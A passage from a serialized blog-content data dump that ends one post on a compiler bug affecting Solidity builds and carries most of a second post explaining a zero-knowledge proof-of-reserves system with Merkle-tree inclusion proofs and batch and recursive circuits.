of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":24,"tag":25,"props":92153,"children":92154},{},[92155],{"type":29,"value":92156},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":24,"tag":25,"props":92158,"children":92159},{},[92160],{"type":29,"value":92161},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":24,"tag":2584,"props":92163,"children":92164},{},[92165],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":92167},[92168,92169,92174,92177,92178,92179,92180,92181],{"id":89851,"depth":113,"text":89854},{"id":89940,"depth":113,"text":89943,"children":92170},[92171,92172,92173],{"id":89946,"depth":128,"text":89949},{"id":90014,"depth":128,"text":90017},{"id":90105,"depth":128,"text":90108},{"id":90689,"depth":113,"text":90692,"children":92175},[92176],{"id":90695,"depth":128,"text":90698},{"id":90806,"depth":113,"text":90809},{"id":91653,"depth":113,"text":91656},{"id":92054,"depth":113,"text":92057},{"id":92106,"depth":113,"text":92109},{"id":28683,"depth":113,"text":18686},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":92186,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":92187,"description":92188,"date":92189,"author":11,"image":92190,"isFeatured":16,"onBlogPage":16,"tags":92192,"body":92195,"_type":2606,"_id":96971,"_source":2608,"_file":96972,"_stem":96973,"_extension":2611},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":92191,"width":15,"height":15},"/posts/por/title.png",[92193,92194],"zk","por",{"type":21,"children":92196,"toc":96948},[92197,92203,92215,92227,92232,92264,92278,92284,92296,92301,92306,92343,92348,92354,92359,92366,92371,92397,92402,92408,92428,92442,92450,92455,92460,92468,92481,92487,92569,92575,92580,92593,92598,92605,92629,92637,92642,92648,92653,93101,93114,93120,93125,93133,93151,93159,93172,93180,94841,94846,94853,94859,94864,94871,94887,94894,94902,94909,96420,96425,96432,96438,96443,96470,96475,96494,96500,96508,96526,96575,96583,96602,96624,96630,96643,96648,96655,96660,96723,96728,96735,96755,96761,96766,96772,96777,96821,96826,96834,96840,96845,96887,96892,96900,96905,96913,96917,96922,96935],{"type":24,"tag":51,"props":92198,"children":92200},{"id":92199},"what-is-a-proof-of-reserves",[92201],{"type":29,"value":92202},"What is a Proof of Reserves?",{"type":24,"tag":25,"props":92204,"children":92205},{},[92206,92208,92213],{"type":29,"value":92207},"At its heart, ",{"type":24,"tag":2040,"props":92209,"children":92210},{},[92211],{"type":29,"value":92212},"Proof of Reserves (PoR)",{"type":29,"value":92214}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":24,"tag":25,"props":92216,"children":92217},{},[92218,92220,92225],{"type":29,"value":92219},"Think of it this way: ",{"type":24,"tag":2040,"props":92221,"children":92222},{},[92223],{"type":29,"value":92224},"PoR",{"type":29,"value":92226}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":24,"tag":25,"props":92228,"children":92229},{},[92230],{"type":29,"value":92231},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":24,"tag":25,"props":92233,"children":92234},{},[92235,92237,92244,92246,92253,92255,92262],{"type":29,"value":92236},"We from OtterSec, in partnership with ",{"type":24,"tag":2033,"props":92238,"children":92241},{"href":92239,"rel":92240},"https://backpack.exchange/",[2037],[92242],{"type":29,"value":92243},"Backpack",{"type":29,"value":92245},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":24,"tag":2033,"props":92247,"children":92250},{"href":92248,"rel":92249},"https://github.com/otter-sec/por_v2",[2037],[92251],{"type":29,"value":92252},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":29,"value":92254}," was based on ",{"type":24,"tag":2033,"props":92256,"children":92259},{"href":92257,"rel":92258},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[2037],[92260],{"type":29,"value":92261},"OKX Proof of Reserves algorithm",{"type":29,"value":92263}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":24,"tag":25,"props":92265,"children":92266},{},[92267,92269,92276],{"type":29,"value":92268},"In addition, we also created and open-sourced a ",{"type":24,"tag":2033,"props":92270,"children":92273},{"href":92271,"rel":92272},"https://github.com/otter-sec/por_verifier_server",[2037],[92274],{"type":29,"value":92275},"PoR verifier server",{"type":29,"value":92277}," that receives the proofs and validates them.",{"type":24,"tag":51,"props":92279,"children":92281},{"id":92280},"why-do-we-use-zk-for-por",[92282],{"type":29,"value":92283},"Why do we use ZK for PoR?",{"type":24,"tag":25,"props":92285,"children":92286},{},[92287,92289,92294],{"type":29,"value":92288},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":24,"tag":2040,"props":92290,"children":92291},{},[92292],{"type":29,"value":92293},"Zero-Knowledge Proofs (ZKPs)",{"type":29,"value":92295}," become game-changers.",{"type":24,"tag":25,"props":92297,"children":92298},{},[92299],{"type":29,"value":92300},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":24,"tag":25,"props":92302,"children":92303},{},[92304],{"type":29,"value":92305},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":24,"tag":63,"props":92307,"children":92308},{},[92309,92326],{"type":24,"tag":67,"props":92310,"children":92311},{},[92312,92317,92319,92325],{"type":24,"tag":2040,"props":92313,"children":92314},{},[92315],{"type":29,"value":92316},"Sum proof",{"type":29,"value":92318},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":24,"tag":32,"props":92320,"children":92322},{"className":92321},[],[92323],{"type":29,"value":92324},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":29,"value":2554},{"type":24,"tag":67,"props":92327,"children":92328},{},[92329,92334,92336,92341],{"type":24,"tag":2040,"props":92330,"children":92331},{},[92332],{"type":29,"value":92333},"Non-negativity",{"type":29,"value":92335},": All users have a ",{"type":24,"tag":2040,"props":92337,"children":92338},{},[92339],{"type":29,"value":92340},"positive",{"type":29,"value":92342}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":24,"tag":25,"props":92344,"children":92345},{},[92346],{"type":29,"value":92347},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":24,"tag":51,"props":92349,"children":92351},{"id":92350},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[92352],{"type":29,"value":92353},"What is a Merkle Tree and how does it help in a PoR?",{"type":24,"tag":25,"props":92355,"children":92356},{},[92357],{"type":29,"value":92358},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":24,"tag":25,"props":92360,"children":92361},{},[92362],{"type":24,"tag":2510,"props":92363,"children":92365},{"alt":2512,"src":92364},"/posts/por/merkle-tree.png",[],{"type":24,"tag":25,"props":92367,"children":92368},{},[92369],{"type":29,"value":92370},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":24,"tag":63,"props":92372,"children":92373},{},[92374,92387,92392],{"type":24,"tag":67,"props":92375,"children":92376},{},[92377,92379,92385],{"type":29,"value":92378},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":24,"tag":32,"props":92380,"children":92382},{"className":92381},[],[92383],{"type":29,"value":92384},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":29,"value":92386},");",{"type":24,"tag":67,"props":92388,"children":92389},{},[92390],{"type":29,"value":92391},"The Merkle tree is made public;",{"type":24,"tag":67,"props":92393,"children":92394},{},[92395],{"type":29,"value":92396},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":24,"tag":25,"props":92398,"children":92399},{},[92400],{"type":29,"value":92401},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":24,"tag":51,"props":92403,"children":92405},{"id":92404},"ottersec-porv2",[92406],{"type":29,"value":92407},"OtterSec PoRv2",{"type":24,"tag":25,"props":92409,"children":92410},{},[92411,92417,92419,92426],{"type":24,"tag":2033,"props":92412,"children":92414},{"href":92248,"rel":92413},[2037],[92415],{"type":29,"value":92416},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":29,"value":92418},", which uses the ",{"type":24,"tag":2033,"props":92420,"children":92423},{"href":92421,"rel":92422},"https://github.com/0xPolygonZero/plonky2",[2037],[92424],{"type":29,"value":92425},"plonky2 ZK algorithm",{"type":29,"value":92427}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":24,"tag":25,"props":92429,"children":92430},{},[92431,92433,92440],{"type":29,"value":92432},"We named it PoRv2 because we already had a version based on ",{"type":24,"tag":2033,"props":92434,"children":92437},{"href":92435,"rel":92436},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[2037],[92438],{"type":29,"value":92439},"Vitalik's proof of solvency",{"type":29,"value":92441},", which was not optimal.",{"type":24,"tag":25,"props":92443,"children":92444},{},[92445],{"type":24,"tag":2040,"props":92446,"children":92447},{},[92448],{"type":29,"value":92449},"Non-negativity Proof",{"type":24,"tag":25,"props":92451,"children":92452},{},[92453],{"type":29,"value":92454},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":24,"tag":25,"props":92456,"children":92457},{},[92458],{"type":29,"value":92459},"We also check for overflows during summation to prevent tampering in the final result.",{"type":24,"tag":25,"props":92461,"children":92462},{},[92463],{"type":24,"tag":2040,"props":92464,"children":92465},{},[92466],{"type":29,"value":92467},"Sum Proof",{"type":24,"tag":25,"props":92469,"children":92470},{},[92471,92473,92479],{"type":29,"value":92472},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":24,"tag":32,"props":92474,"children":92476},{"className":92475},[],[92477],{"type":29,"value":92478},"BTC final: user1_btc + user2_btc ...",{"type":29,"value":92480},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":24,"tag":1818,"props":92482,"children":92484},{"id":92483},"what-are-the-ottersec-porv2-key-points",[92485],{"type":29,"value":92486},"What are the OtterSec PoRv2 key points?",{"type":24,"tag":63,"props":92488,"children":92489},{},[92490,92500,92518,92528,92559],{"type":24,"tag":67,"props":92491,"children":92492},{},[92493,92498],{"type":24,"tag":2040,"props":92494,"children":92495},{},[92496],{"type":29,"value":92497},"Transparency",{"type":29,"value":92499},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":24,"tag":67,"props":92501,"children":92502},{},[92503,92508,92510,92517],{"type":24,"tag":2040,"props":92504,"children":92505},{},[92506],{"type":29,"value":92507},"Time-efficiency",{"type":29,"value":92509},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":24,"tag":2033,"props":92511,"children":92514},{"href":92512,"rel":92513},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[2037],[92515],{"type":29,"value":92516},"Check our benchmark",{"type":29,"value":161},{"type":24,"tag":67,"props":92519,"children":92520},{},[92521,92526],{"type":24,"tag":2040,"props":92522,"children":92523},{},[92524],{"type":29,"value":92525},"Memory-efficiency",{"type":29,"value":92527},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":24,"tag":67,"props":92529,"children":92530},{},[92531,92536,92538,92543,92545,92550,92552,92557],{"type":24,"tag":2040,"props":92532,"children":92533},{},[92534],{"type":29,"value":92535},"Small-proofs",{"type":29,"value":92537},": We were able to reduce the final proof to less than ",{"type":24,"tag":2040,"props":92539,"children":92540},{},[92541],{"type":29,"value":92542},"500KB",{"type":29,"value":92544}," and each inclusion proof to ",{"type":24,"tag":2040,"props":92546,"children":92547},{},[92548],{"type":29,"value":92549},"~52KB",{"type":29,"value":92551},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":24,"tag":2040,"props":92553,"children":92554},{},[92555],{"type":29,"value":92556},"200MB",{"type":29,"value":92558}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":24,"tag":67,"props":92560,"children":92561},{},[92562,92567],{"type":24,"tag":2040,"props":92563,"children":92564},{},[92565],{"type":29,"value":92566},"Privacy",{"type":29,"value":92568},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":24,"tag":51,"props":92570,"children":92572},{"id":92571},"zk-circuits",[92573],{"type":29,"value":92574},"ZK Circuits",{"type":24,"tag":25,"props":92576,"children":92577},{},[92578],{"type":29,"value":92579},"We use two different ZK circuits to generate the final proof:",{"type":24,"tag":63,"props":92581,"children":92582},{},[92583,92588],{"type":24,"tag":67,"props":92584,"children":92585},{},[92586],{"type":29,"value":92587},"Batch circuit",{"type":24,"tag":67,"props":92589,"children":92590},{},[92591],{"type":29,"value":92592},"Recursive circuit",{"type":24,"tag":25,"props":92594,"children":92595},{},[92596],{"type":29,"value":92597},"With those two circuits, we can generate the proofs recursive tree:",{"type":24,"tag":25,"props":92599,"children":92600},{},[92601],{"type":24,"tag":2510,"props":92602,"children":92604},{"alt":2512,"src":92603},"/posts/por/batch-circuit.png",[],{"type":24,"tag":2677,"props":92606,"children":92607},{},[92608],{"type":24,"tag":25,"props":92609,"children":92610},{},[92611,92613,92619,92621,92627],{"type":29,"value":92612},"Note: We are using 512 as ",{"type":24,"tag":32,"props":92614,"children":92616},{"className":92615},[],[92617],{"type":29,"value":92618},"BATCH_SIZE",{"type":29,"value":92620}," and 8 as ",{"type":24,"tag":32,"props":92622,"children":92624},{"className":92623},[],[92625],{"type":29,"value":92626},"RECURSIVE_SIZE",{"type":29,"value":92628}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":24,"tag":2677,"props":92630,"children":92631},{},[92632],{"type":24,"tag":25,"props":92633,"children":92634},{},[92635],{"type":29,"value":92636},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":24,"tag":25,"props":92638,"children":92639},{},[92640],{"type":29,"value":92641},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":24,"tag":1818,"props":92643,"children":92645},{"id":92644},"leaf-nodes",[92646],{"type":29,"value":92647},"Leaf Nodes",{"type":24,"tag":25,"props":92649,"children":92650},{},[92651],{"type":29,"value":92652},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":24,"tag":25,"props":92654,"children":92655},{},[92656],{"type":24,"tag":32,"props":92657,"children":92659},{"className":92658},[3726,3727],[92660],{"type":24,"tag":83,"props":92661,"children":92663},{"className":92662},[3732],[92664],{"type":24,"tag":83,"props":92665,"children":92667},{"className":92666,"ariaHidden":1237},[3737],[92668,92695],{"type":24,"tag":83,"props":92669,"children":92671},{"className":92670},[3742],[92672,92677,92682,92686,92691],{"type":24,"tag":83,"props":92673,"children":92676},{"className":92674,"style":92675},[3747],"height:0.6944em;",[],{"type":24,"tag":83,"props":92678,"children":92680},{"className":92679},[3753,21328],[92681],{"type":29,"value":84058},{"type":24,"tag":83,"props":92683,"children":92685},{"className":92684,"style":3931},[3833],[],{"type":24,"tag":83,"props":92687,"children":92689},{"className":92688},[3936],[92690],{"type":29,"value":1275},{"type":24,"tag":83,"props":92692,"children":92694},{"className":92693,"style":3931},[3833],[],{"type":24,"tag":83,"props":92696,"children":92698},{"className":92697},[3742],[92699,92704,92709,92715,92720,92725,92731,92736,92741,92746,92752,92757,92763,92769,92776,92782,92788,92848,92853,92859,92864,92869,92874,92879,92884,92889,92894,92899,92904,92961,92966,92971,92976,92981,92986,92991,92998,93003,93009,93014,93020,93026,93031,93036,93041,93046,93051,93056,93061,93066,93071,93076,93081,93086,93091,93096],{"type":24,"tag":83,"props":92700,"children":92703},{"className":92701,"style":92702},[3747],"height:1.06em;vertical-align:-0.31em;",[],{"type":24,"tag":83,"props":92705,"children":92707},{"className":92706,"style":21329},[3753,21328],[92708],{"type":29,"value":21332},{"type":24,"tag":83,"props":92710,"children":92712},{"className":92711},[3753,21328],[92713],{"type":29,"value":92714},"ose",{"type":24,"tag":83,"props":92716,"children":92718},{"className":92717},[3753,21328],[92719],{"type":29,"value":3482},{"type":24,"tag":83,"props":92721,"children":92723},{"className":92722},[3753,21328],[92724],{"type":29,"value":70279},{"type":24,"tag":83,"props":92726,"children":92728},{"className":92727},[3753,21328],[92729],{"type":29,"value":92730},"o",{"type":24,"tag":83,"props":92732,"children":92734},{"className":92733},[3753,21328],[92735],{"type":29,"value":56117},{"type":24,"tag":83,"props":92737,"children":92739},{"className":92738},[21457],[92740],{"type":29,"value":558},{"type":24,"tag":83,"props":92742,"children":92744},{"className":92743},[3753,21328],[92745],{"type":29,"value":2033},{"type":24,"tag":83,"props":92747,"children":92749},{"className":92748},[3753,21328],[92750],{"type":29,"value":92751},"sse",{"type":24,"tag":83,"props":92753,"children":92755},{"className":92754},[3753,21328],[92756],{"type":29,"value":21470},{"type":24,"tag":83,"props":92758,"children":92761},{"className":92759,"style":92760},[3753],"margin-right:0.02778em;",[92762],{"type":29,"value":2827},{"type":24,"tag":83,"props":92764,"children":92766},{"className":92765},[3753,21328],[92767],{"type":29,"value":92768},"ba",{"type":24,"tag":83,"props":92770,"children":92773},{"className":92771,"style":92772},[3753,21328],"margin-right:0.01968em;",[92774],{"type":29,"value":92775},"l",{"type":24,"tag":83,"props":92777,"children":92779},{"className":92778},[3753,21328],[92780],{"type":29,"value":92781},"an",{"type":24,"tag":83,"props":92783,"children":92785},{"className":92784},[3753,21328],[92786],{"type":29,"value":92787},"ce",{"type":24,"tag":83,"props":92789,"children":92791},{"className":92790},[3753],[92792,92797],{"type":24,"tag":83,"props":92793,"children":92795},{"className":92794},[3753,21328],[92796],{"type":29,"value":10399},{"type":24,"tag":83,"props":92798,"children":92800},{"className":92799},[3769],[92801],{"type":24,"tag":83,"props":92802,"children":92804},{"className":92803},[3774,21382],[92805,92836],{"type":24,"tag":83,"props":92806,"children":92808},{"className":92807},[3779],[92809,92831],{"type":24,"tag":83,"props":92810,"children":92813},{"className":92811,"style":92812},[3784],"height:0.3011em;",[92814],{"type":24,"tag":83,"props":92815,"children":92817},{"style":92816},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[92818,92822],{"type":24,"tag":83,"props":92819,"children":92821},{"className":92820,"style":3794},[3793],[],{"type":24,"tag":83,"props":92823,"children":92825},{"className":92824},[3799,3800,3801,3802],[92826],{"type":24,"tag":83,"props":92827,"children":92829},{"className":92828},[3753,3802],[92830],{"type":29,"value":1166},{"type":24,"tag":83,"props":92832,"children":92834},{"className":92833},[21485],[92835],{"type":29,"value":21488},{"type":24,"tag":83,"props":92837,"children":92839},{"className":92838},[3779],[92840],{"type":24,"tag":83,"props":92841,"children":92844},{"className":92842,"style":92843},[3784],"height:0.15em;",[92845],{"type":24,"tag":83,"props":92846,"children":92847},{},[],{"type":24,"tag":83,"props":92849,"children":92851},{"className":92850},[3833],[92852],{"type":29,"value":21429},{"type":24,"tag":83,"props":92854,"children":92856},{"className":92855},[3753],[92857],{"type":29,"value":92858},"∣∣",{"type":24,"tag":83,"props":92860,"children":92862},{"className":92861},[3833],[92863],{"type":29,"value":21429},{"type":24,"tag":83,"props":92865,"children":92867},{"className":92866},[3753,21328],[92868],{"type":29,"value":2033},{"type":24,"tag":83,"props":92870,"children":92872},{"className":92871},[3753,21328],[92873],{"type":29,"value":92751},{"type":24,"tag":83,"props":92875,"children":92877},{"className":92876},[3753,21328],[92878],{"type":29,"value":21470},{"type":24,"tag":83,"props":92880,"children":92882},{"className":92881,"style":92760},[3753],[92883],{"type":29,"value":2827},{"type":24,"tag":83,"props":92885,"children":92887},{"className":92886},[3753,21328],[92888],{"type":29,"value":92768},{"type":24,"tag":83,"props":92890,"children":92892},{"className":92891,"style":92772},[3753,21328],[92893],{"type":29,"value":92775},{"type":24,"tag":83,"props":92895,"children":92897},{"className":92896},[3753,21328],[92898],{"type":29,"value":92781},{"type":24,"tag":83,"props":92900,"children":92902},{"className":92901},[3753,21328],[92903],{"type":29,"value":92787},{"type":24,"tag":83,"props":92905,"children":92907},{"className":92906},[3753],[92908,92913],{"type":24,"tag":83,"props":92909,"children":92911},{"className":92910},[3753,21328],[92912],{"type":29,"value":10399},{"type":24,"tag":83,"props":92914,"children":92916},{"className":92915},[3769],[92917],{"type":24,"tag":83,"props":92918,"children":92920},{"className":92919},[3774,21382],[92921,92950],{"type":24,"tag":83,"props":92922,"children":92924},{"className":92923},[3779],[92925,92945],{"type":24,"tag":83,"props":92926,"children":92928},{"className":92927,"style":92812},[3784],[92929],{"type":24,"tag":83,"props":92930,"children":92931},{"style":92816},[92932,92936],{"type":24,"tag":83,"props":92933,"children":92935},{"className":92934,"style":3794},[3793],[],{"type":24,"tag":83,"props":92937,"children":92939},{"className":92938},[3799,3800,3801,3802],[92940],{"type":24,"tag":83,"props":92941,"children":92943},{"className":92942},[3753,3802],[92944],{"type":29,"value":3756},{"type":24,"tag":83,"props":92946,"children":92948},{"className":92947},[21485],[92949],{"type":29,"value":21488},{"type":24,"tag":83,"props":92951,"children":92953},{"className":92952},[3779],[92954],{"type":24,"tag":83,"props":92955,"children":92957},{"className":92956,"style":92843},[3784],[92958],{"type":24,"tag":83,"props":92959,"children":92960},{},[],{"type":24,"tag":83,"props":92962,"children":92964},{"className":92963},[3833],[92965],{"type":29,"value":21429},{"type":24,"tag":83,"props":92967,"children":92969},{"className":92968},[3753],[92970],{"type":29,"value":509},{"type":24,"tag":83,"props":92972,"children":92974},{"className":92973},[3833],[92975],{"type":29,"value":21429},{"type":24,"tag":83,"props":92977,"children":92979},{"className":92978},[3753],[92980],{"type":29,"value":92858},{"type":24,"tag":83,"props":92982,"children":92984},{"className":92983},[3833],[92985],{"type":29,"value":21429},{"type":24,"tag":83,"props":92987,"children":92989},{"className":92988,"style":21787},[3753,21328],[92990],{"type":29,"value":21790},{"type":24,"tag":83,"props":92992,"children":92995},{"className":92993,"style":92994},[3753,21328],"margin-right:0.08125em;",[92996],{"type":29,"value":92997},"H",{"type":24,"tag":83,"props":92999,"children":93001},{"className":93000},[3753,21328],[93002],{"type":29,"value":76482},{"type":24,"tag":83,"props":93004,"children":93006},{"className":93005},[3753],[93007],{"type":29,"value":93008},"256",{"type":24,"tag":83,"props":93010,"children":93012},{"className":93011},[21457],[93013],{"type":29,"value":558},{"type":24,"tag":83,"props":93015,"children":93017},{"className":93016},[3753,21328],[93018],{"type":29,"value":93019},"u",{"type":24,"tag":83,"props":93021,"children":93023},{"className":93022,"style":92760},[3753,21328],[93024],{"type":29,"value":93025},"ser",{"type":24,"tag":83,"props":93027,"children":93029},{"className":93028,"style":92760},[3753],[93030],{"type":29,"value":2827},{"type":24,"tag":83,"props":93032,"children":93034},{"className":93033},[3753,21328],[93035],{"type":29,"value":3482},{"type":24,"tag":83,"props":93037,"children":93039},{"className":93038},[3753,21328],[93040],{"type":29,"value":70279},{"type":24,"tag":83,"props":93042,"children":93044},{"className":93043},[21479],[93045],{"type":29,"value":2872},{"type":24,"tag":83,"props":93047,"children":93049},{"className":93048},[3833],[93050],{"type":29,"value":21429},{"type":24,"tag":83,"props":93052,"children":93054},{"className":93053},[3753],[93055],{"type":29,"value":92858},{"type":24,"tag":83,"props":93057,"children":93059},{"className":93058},[3833],[93060],{"type":29,"value":21429},{"type":24,"tag":83,"props":93062,"children":93064},{"className":93063},[3753,21328],[93065],{"type":29,"value":93019},{"type":24,"tag":83,"props":93067,"children":93069},{"className":93068,"style":92760},[3753,21328],[93070],{"type":29,"value":93025},{"type":24,"tag":83,"props":93072,"children":93074},{"className":93073,"style":92760},[3753],[93075],{"type":29,"value":2827},{"type":24,"tag":83,"props":93077,"children":93079},{"className":93078},[3753,21328],[93080],{"type":29,"value":56117},{"type":24,"tag":83,"props":93082,"children":93084},{"className":93083},[3753,21328],[93085],{"type":29,"value":92730},{"type":24,"tag":83,"props":93087,"children":93089},{"className":93088},[3753,21328],[93090],{"type":29,"value":56117},{"type":24,"tag":83,"props":93092,"children":93094},{"className":93093},[3753,21328],[93095],{"type":29,"value":92787},{"type":24,"tag":83,"props":93097,"children":93099},{"className":93098},[21479],[93100],{"type":29,"value":2872},{"type":24,"tag":25,"props":93102,"children":93103},{},[93104,93106,93112],{"type":29,"value":93105},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":24,"tag":32,"props":93107,"children":93109},{"className":93108},[],[93110],{"type":29,"value":93111},"uuid",{"type":29,"value":93113},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":24,"tag":1818,"props":93115,"children":93117},{"id":93116},"batch-circuit",[93118],{"type":29,"value":93119},"Batch Circuit",{"type":24,"tag":25,"props":93121,"children":93122},{},[93123],{"type":29,"value":93124},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":24,"tag":25,"props":93126,"children":93127},{},[93128],{"type":24,"tag":2040,"props":93129,"children":93130},{},[93131],{"type":29,"value":93132},"Public Inputs",{"type":24,"tag":16422,"props":93134,"children":93135},{},[93136,93141,93146],{"type":24,"tag":67,"props":93137,"children":93138},{},[93139],{"type":29,"value":93140},"Asset prices in USD",{"type":24,"tag":67,"props":93142,"children":93143},{},[93144],{"type":29,"value":93145},"Merkle tree hash",{"type":24,"tag":67,"props":93147,"children":93148},{},[93149],{"type":29,"value":93150},"Summed asset balances",{"type":24,"tag":25,"props":93152,"children":93153},{},[93154],{"type":24,"tag":2040,"props":93155,"children":93156},{},[93157],{"type":29,"value":93158},"Private Inputs",{"type":24,"tag":16422,"props":93160,"children":93161},{},[93162,93167],{"type":24,"tag":67,"props":93163,"children":93164},{},[93165],{"type":29,"value":93166},"Users balances",{"type":24,"tag":67,"props":93168,"children":93169},{},[93170],{"type":29,"value":93171},"Merkle tree leaves hashes",{"type":24,"tag":25,"props":93173,"children":93174},{},[93175],{"type":24,"tag":2040,"props":93176,"children":93177},{},[93178],{"type":29,"value":93179},"Constraints",{"type":24,"tag":16422,"props":93181,"children":93182},{},[93183,93636,93804,94151,94549],{"type":24,"tag":67,"props":93184,"children":93185},{},[93186],{"type":24,"tag":32,"props":93187,"children":93189},{"className":93188},[3726,3727],[93190],{"type":24,"tag":83,"props":93191,"children":93193},{"className":93192},[3732],[93194],{"type":24,"tag":83,"props":93195,"children":93197},{"className":93196,"ariaHidden":1237},[3737],[93198,93337,93541],{"type":24,"tag":83,"props":93199,"children":93201},{"className":93200},[3742],[93202,93207,93212,93218,93223,93228,93233,93238,93243,93250,93255,93260,93265,93324,93328,93333],{"type":24,"tag":83,"props":93203,"children":93206},{"className":93204,"style":93205},[3747],"height:0.9695em;vertical-align:-0.31em;",[],{"type":24,"tag":83,"props":93208,"children":93210},{"className":93209},[3753,21328],[93211],{"type":29,"value":2033},{"type":24,"tag":83,"props":93213,"children":93215},{"className":93214},[3753,21328],[93216],{"type":29,"value":93217},"cco",{"type":24,"tag":83,"props":93219,"children":93221},{"className":93220},[3753,21328],[93222],{"type":29,"value":93019},{"type":24,"tag":83,"props":93224,"children":93226},{"className":93225},[3753,21328],[93227],{"type":29,"value":56117},{"type":24,"tag":83,"props":93229,"children":93231},{"className":93230},[3753,21328],[93232],{"type":29,"value":21470},{"type":24,"tag":83,"props":93234,"children":93236},{"className":93235,"style":92760},[3753],[93237],{"type":29,"value":2827},{"type":24,"tag":83,"props":93239,"children":93241},{"className":93240},[3753,21328],[93242],{"type":29,"value":51169},{"type":24,"tag":83,"props":93244,"children":93247},{"className":93245,"style":93246},[3753,21328],"margin-right:0.03588em;",[93248],{"type":29,"value":93249},"q",{"type":24,"tag":83,"props":93251,"children":93253},{"className":93252},[3753,21328],[93254],{"type":29,"value":93019},{"type":24,"tag":83,"props":93256,"children":93258},{"className":93257},[3753,21328],[93259],{"type":29,"value":3482},{"type":24,"tag":83,"props":93261,"children":93263},{"className":93262},[3753,21328],[93264],{"type":29,"value":21470},{"type":24,"ta